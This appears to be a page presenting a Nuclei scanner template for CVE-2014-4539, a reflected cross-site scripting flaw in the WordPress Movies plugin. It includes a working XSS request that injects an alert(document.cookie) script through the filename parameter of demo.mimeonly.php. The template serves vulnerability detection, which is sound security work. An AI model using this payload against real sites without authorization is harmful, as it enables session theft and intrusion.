Movies <= 0.6 - Cross-Site Scripting

ID: CVE-2014-4539

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,movies_project

Description

A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.

YAML Source

id: CVE-2014-4539

info:
  name: Movies <= 0.6 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of the Movies plugin (version 0.7 or above) that addresses the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d6ea4fe6-c486-415d-8f6d-57ea2f149304
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4539
    - http://codevigilant.com/disclosure/wp-plugin-movies-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4539
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.48718
    cpe: cpe:2.3:a:movies_project:movies:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "movies_project"
    product: movies
    framework: wordpress
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,movies_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/movies/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Movies ='
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.cookie)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210099cf094daa9fc9e93aac8c1fd25c62071d0941557fd7e244bb0706a0eb0b57f802210092c1f6960e9b0df80290cab3fce5a962c3fe3b5bdc782c33a5220ff8a4aada58:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-4539.yaml"

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